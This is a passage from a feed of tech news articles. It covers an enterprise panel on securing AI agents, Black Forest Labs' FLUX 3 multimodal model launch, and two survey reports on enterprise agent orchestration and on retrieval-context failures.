Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.
Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.
The end of human code review
Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."
Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."
Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.
"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.
Intent versus probability
An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.
That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.
Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.
For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.


Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start
Thu, 23 Jul 2026 20:48:22 +0200
Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.
The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. 
That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. 
FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve. 
There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request. 
What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.
Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.
But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. 
Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption
BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. 
In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.
One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.
Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.
Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.
Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. 
Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.
One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.
Here's a rough guide for enterprises considering which video models to rely upon: 
Model Max single-generation duration Max resolution Key constraints Price per 10-second clip (720p) Price per 10-second clip (1080p) Price per 10-second clip (4K)
FLUX 3 Video 20 seconds Not stated; evaluations run at 720p Early access; no published SLA or pricing Not announced Not announced Not announced 
HappyHorse 1.1 15 seconds 1080p No 4K; closed weights Not published (v1.0 reseller rate is ~$1.82) Not published (v1.0 reseller rate is ~$3.12) n/a 
Veo 3.1 Per-second billing 4K Supports clip extension; preview $4.00 $4.00 $6.00 
Veo 3.1 Fast Per-second billing 4K Preview $1.00 $1.20 $3.00 
Veo 3.1 Lite Per-second billing 1080p No 4K, no clip extension; preview $0.50 $0.80 n/a 
Gemini Omni Flash 10 seconds (3s minimum) 720p at 24 FPS Preview abd no EU access $1.00 n/a n/a 
One architecture for media generation and physical action
FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. 
The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.
"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."
He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."
BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.
For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.
For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.
What FLUX 3 Video can actually do
The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. 
Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.
The capability list BFL published covers:
Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
 Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.
That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.
It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.
BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.
FLUX-mimic tests whether video models can become robot models
BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.
The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.
FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. 
BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.
"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."
BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. 
Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." 
The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. 
There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.
Open weights helped make FLUX an industry standard
BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. 
The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. 
That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.
Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.
FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch,  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.
The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.
FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.
The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. 
The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.


I was impressed by the spec of this budget gaming keyboard — but there’s one feature it desperately needs
Thu, 23 Jul 2026 20:05:58 +0200
The Keychron K2 Ultra 8K has the spec of a top-tier mechanical keyboard without the high price tag — but can it really challenge the best of them?


Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents
Thu, 23 Jul 2026 19:19:45 +0200
Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.
This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.
The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.
That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.
By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).
At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.
Finding 1: Orchestration runs on model-provider platforms
Anthropic’s Claude leads; open frameworks are marginal
We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.
A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.
The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.
Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.
Finding 2: Model gravity drives platform selection
The base model, not the tooling, decides the platform
We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.
Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.
Finding 3: The job is reliable multi-step execution
Enterprises just orchestration by whether it completes the work
We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.
Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.
The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.
Finding 4: Consolidate, productionize, and build in-house 
Three strategic moves are nearly tied for the year ahead
We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.
The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.
Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 
The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.
Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.
Finding 6: Investment flows to workflow tooling
Tooling and permissions lead the spend; monitoring trails
We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.
Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.
Finding 7: The control plane will be hybrid — and lock-in is why
Enterprises expect to split control between providers and their own layer
We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.
Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.
The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.
Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.
Finding 8: The chatbot trap — most “agents” aren’t agents yet
Enterprises admit most deployments are still chatbot wrappers
We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.
This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.
Finding 9: Fiscal control is still reactive
Only a minority can stop a runaway agent before the bill arrives
Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.
More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.
It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.
The bottom line: The layer is real; most of the agents aren't yet
Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.
But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.


The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix
Thu, 23 Jul 2026 19:19:42 +0200
Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.
This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.
The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.
Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.
At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.
Finding 1: Confident and wrong
More than half have traced agent errors to bad context
We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.
This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. 
